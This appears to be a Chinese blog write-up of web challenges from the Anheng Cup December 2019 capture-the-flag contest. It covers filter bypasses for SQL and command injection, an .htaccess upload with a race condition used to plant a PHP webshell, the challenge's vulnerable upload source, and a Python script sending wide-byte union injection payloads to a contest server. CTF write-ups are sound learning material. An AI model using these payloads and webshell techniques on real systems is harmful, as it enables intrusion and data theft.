安恒杯2019.12月赛

2023-12-14 05:40
文章标签 月赛 安恒杯 2019.12

本文主要是介绍安恒杯2019.12月赛,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

BabySqli

题目提示sqli。用户名处输入单引号报错,说明此处是注入点,用#号注释就不报错了,在测试sql语句的过程中发现进行了简单的拦截,但是可以用大小写绕过,然后利用union语句自己构造一行数据,在构造过程中知道name在第二个字段,猜测密码在第三个字段,且根据提示密码经过md5加密,所以,我们构造的密码也需要md5加密才行(小写,一开始我弄成了大写,死活不过)

在这里插入图片描述

ping ping ping

摸索过程中发现过滤了空格,一些特殊符号例如<、&等,还过滤了flag,但是这都很容易绕过
在这里插入图片描述
flag:
在这里插入图片描述

babyupload

上传.htaccess文件如下:

SetHandler application/x-httpd-php

返回显示上传成功
在这里插入图片描述
但是当我访问的时候404了,于是怀疑是要利用条件竞争,用burp测试了一些,果然是要利用条件竞争。然后再上传一个精心构造的png文件,同样利用条件竞争上传,然后访问一下:

在这里插入图片描述

最后就是写一句话:

在这里插入图片描述
其实这种条件竞争哪里需要写啥脚本,burp都帮我们做好了,直接利用intruder一直请求,不是比脚本香的多?最后蚁剑连接:

题目源代码:

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {$target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);$uploaded_name = $_FILES['uploaded']['name'];$uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);$uploaded_size = $_FILES['uploaded']['size'];$uploaded_tmp  = $_FILES['uploaded']['tmp_name'];if(preg_match("/ph/i", strtolower($uploaded_ext))){die("后缀名不能有ph!");}else{if ((($_FILES["uploaded"]["type"] == "image/gif") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){$content = file_get_contents($uploaded_tmp);if(preg_match("/\<\?/i", $content)){die("诶,别蒙我啊,这标志明显还是php啊");}else{mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);move_uploaded_file($uploaded_tmp, $t_path);echo "{$t_path} succesfully uploaded!";}}else{die("上传类型也太露骨了吧!");}}
}
?>

flag在系统根目录:
在这里插入图片描述

sqli 2

一开始用用union select 1,2,3#这样的语句都报错,我有点懵逼了,结果才知道是过滤了select与union,知道了原因就好高了。当然还有一点比较重要的是我们需要控制字段二为admin,但是又不能直接union select 1,‘admin’,3 from xxx的方式,
所以还需要借助原来的表,这里猜了下表名为user,然后用户名字段为username,所以(select username from user)==‘admin’,这样就绕过了add_slashes()的转义,然后就可以愉快的读数据了!

数据库:

在这里插入图片描述
表:

本以为后面一帆风顺了,但是突然想起爆表还需要配合引号呀,例如:select group_concat(table_name) from information_schema.tables where schema_name='xxx',我已开始脑袋短路以为要绕过单引号,但是我一想,不要引号也行呀,就不要where了呗,但是由于group_concat(table_name)太长,不能显示全,那就改substr()登场了,顺利拿到表名:

在这里插入图片描述

接下来是列名:

列名用同样的方法找了一波,发现两个md5值的列名:
327a6c4304ad5938eaf0efb6cc3e53dc以及b80bb7740288fda1f201890375a60c8f然后读了一下发现f14g表的数据挺多的,在测试过成功发现一个列是id,b80bb7740288fda1f201890375a60c8f列是数据,而且数据是base64编码过后的,写个脚本还原下

# -*- coding:utf-8 -*-import requests
import base64
import re
res = b''
matches = []
for i in range(1,31):r = requests.get("http://183.129.189.60:10006/search.php?name=%df%27%20or%201%20ununionion%20selselectect%201,(selselectect%20username%20from%20user),327a6c4304ad5938eaf0efb6cc3e53dc%20from%20f14g%20limit%20{},1%23&pw=123".format(i))print(r.text)matches += re.findall(r'Your pass is ([a-zA-Z0-9=]*)<br>', r.text)print(matches)
for text in matches:res += base64.b64decode(text)print(res)

垃圾脚本,出结果

在这里插入图片描述

后面有事就没做了

在这里插入图片描述

这篇关于安恒杯2019.12月赛的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/491325

相关文章

B3918 [语言月赛 202401] 图像变换

[题目通道]([语言月赛 202401] 图像变换 - 洛谷) #include<bits/stdc++.h>using namespace std;int n,m,k;string a[1000],st;int main(){cin>>n>>m>>k;for (int i=1;i<=n;i++){cin>>a[i];}for (int i=1;i<=n;i++){st="";for (

dp FOJ 一月月赛C ytaaa

Accept: 57    Submit: 261 Time Limit: 2000 mSec    Memory Limit : 32768 KB  Problem Description Ytaaa作为一名特工执行了无数困难的任务,这一次ytaaa收到命令,需要炸毁敌人的一个工厂,为此ytaaa需要制造一批炸弹以供使用。 Ytaaa使用的这种新型炸弹由若干个炸药组成,每个炸药都有

大二第二次月赛--手速

手速 时间限制: 1000 ms  |  内存限制: 65535 KB 难度: 1 描述 被学长虐了之后,wyl 认识到了手速的重要性,yy了一道。 初始化序列为空 给 n 个操作: 0 :    从头部往里放 1 :    从尾部往里放 2 :      从头部删除 3 :      从尾部删除 4:    改变功能,原来是从头部放的从尾部放,从尾部放的从头部放,删除也是如此

安恒6月赛部分做题记录

前言 这次比赛恰逢别的学校考试,感觉题目有点水,但还是得记录一下 正文 Web1 Mynote 这道题目一开始我死扣xss发现无路可循后面经别人小小提醒之后,原来是个炒鸡弱智的反序列化题目,不多说 上图,在robots.txt里面发现几个可疑的页面,可能有用先记录着,直接访问flag.php是个假的flag。。 经过别人的提示,是反序列化以后,多抓几个包看一下 在upload页面

安恒5月赛web题目做题记录

奇怪的恐龙特性 这是一道代码审计的题目,又发现了一个我以前没见过的知识点,可以详细看看这个链接 https://wooyun.shuimugan.com/bug/view?bug_no=64792 从上面可以看出,简单点解释就是当代码中存在$_REQUEST['user_id']里面类似的参数的时候,我们在url上可以这样a.php?user.id传参去进行绕过,这样进去之后也能表示$_

B3976 [语言月赛 202405] 交题解

[语言月赛 202405] 交题解 题目描述 小 S 想要在 Luogu 上提交一篇非常美妙的题解,但是小 Q 不希望看到小 S 的题解比自己的点赞更多,于是她故意在小 S 的题解中加入了一些奇怪的字符。 具体来说,原本的题解可以看作一个只包含小写或大写字母的字符串 S S S,而小 Q 在其中若干位置插入了一些随机字符,这些字符可能是数字或标点符号,但一定不是字母,且一定在键盘上出现。我

打卡信奥刷题(19)用Scratch图形化工具信奥B3972 [语言月赛 202405] 二进制 题解

进制转换是经典的编程题,尤其是10进制转换为2进制。方法是拿给定的数,不断地除2,将余数放在对应的位置,剩下的数为对应数除2向下取整 [语言月赛 202405] 二进制 题目描述 在介绍十进制转二进制的篇目中,我们总会看到这样的方法: 求出这个数字除以 2 2 2 的商和余数,然后将余数写在右侧,用商替换原来的数字;重复以上过程直到这个数字变为 0 0 0;最后将右侧的所有余数倒序排列

[语言月赛 202404] 吃苹果

题目描述 一共有 n 只苹果,你想要选择其中恰好两只苹果。 每只苹果有一个营养值 a1​,a2​,⋯,an​,你需要选择一只营养值最大的给 gza 吃,选择一只营养值最小的给 gza 的朋友 azg 吃。 请注意,由于某些苹果会有虫蚀等等,营养值可能为负数。即使发生了这种情况,你也必须选择恰好两只苹果带走。 所需要付的价钱是所选择两只苹果的营养值和,请输出你所需要付的价钱。 输入格式

[语言月赛 202404] 神秘排列

[语言月赛 202404] 神秘排列 题目描述 一个数列是神秘数列当且仅当满足下列条件: 这个数列是一个排列。即,整数 1∼n 均在这个数列中出现过,且其中的每种整数仅出现过一次(例如,当 n=4 时,1,2,4,31,2,4,3 是一个排列, 1,2,2,21,2,2,2 不是一个排列);我们将一个数列中 x 出现的位置(出现在第几个)记作 px​(1≤px​≤n),神秘数列需要满足对于

2013年6月九度Online Judge程序猿求职及面试月赛 - 题目3:把数组排成最小的数

题目3:把数组排成最小的数 时间限制:1 秒 内存限制:128 兆 特殊判题:否 提交:145 解决:31 题目描述: 输入一个正整数数组,把数组里所有数字拼接起来排成一个数,打印能拼接出的所有数字中最小的一个。例如输入数组{3,32,321},则打印出这三个数字能排成的最小数字为321323。 输入: 输入可能包含多个测试样例。 对于每个测试案例,输入的